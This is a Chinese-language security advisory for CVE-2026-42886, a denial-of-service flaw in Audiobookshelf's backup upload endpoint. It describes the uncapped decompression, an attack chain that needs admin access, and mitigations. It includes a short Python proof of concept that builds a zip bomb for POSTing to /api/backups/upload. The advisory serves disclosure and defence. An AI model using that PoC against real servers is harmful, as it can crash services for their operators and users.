IPBUF安全漏洞报告
English
CVE-2026-42886 CVSS 4.9 中危

CVE-2026-42886 Audiobookshelf内存耗尽漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42886
漏洞类型
拒绝服务
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Audiobookshelf

相关标签

拒绝服务ZipBomb内存耗尽Audiobookshelf

漏洞概述

Audiobookshelf 2.32.2 之前版本存在拒绝服务漏洞。管理员可上传特制 ZIP 文件,利用 /api/backups/upload 接口无限制解压的缺陷,导致服务器内存耗尽并崩溃。

技术细节

漏洞位于备份上传接口。系统使用 zip.entryData() 将 ZIP 中的 details 条目完全解压至内存,且未设置大小限制。攻击者可构造“解压缩炸弹”,上传小体积但解压后巨大的文件。由于中间件也无文件大小限制,解压过程会消耗大量内存,触发 OOM 导致服务终止。

攻击链分析

STEP 1
获取权限
攻击者获取 Audiobookshelf 管理员账号权限。
STEP 2
构造恶意文件
攻击者创建一个特制的 ZIP 文件,其中包含巨大的 'details' 条目(利用高压缩比)。
STEP 3
上传文件
攻击者通过管理员面板将恶意 ZIP 上传至 /api/backups/upload 接口。
STEP 4
触发解压
服务器端接收文件并调用 zip.entryData() 将 'details' 完全解压到内存中。
STEP 5
耗尽资源
服务器内存被耗尽,触发 OOM Killer,导致服务进程崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import io def create_malicious_zip(): # Create a malicious .audiobookshelf zip file # containing a highly compressed 'details' entry buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: # Simulate a large payload (e.g., 500MB) to consume memory # In a real Zip Bomb, compression ratios are optimized large_data = b'A' * (500 * 1024 * 1024) zf.writestr('details', large_data) malicious_content = buf.getvalue() print(f"Generated Malicious ZIP Size: {len(malicious_content)} bytes") # Use this content to POST to /api/backups/upload return malicious_content if __name__ == "__main__": create_malicious_zip()

影响范围

Audiobookshelf < 2.32.2

防御指南

临时缓解措施
建议立即升级至修复版本。若无法升级,应在反向代理层限制请求体大小,或暂时禁用备份上传功能以防止拒绝服务攻击。

参考链接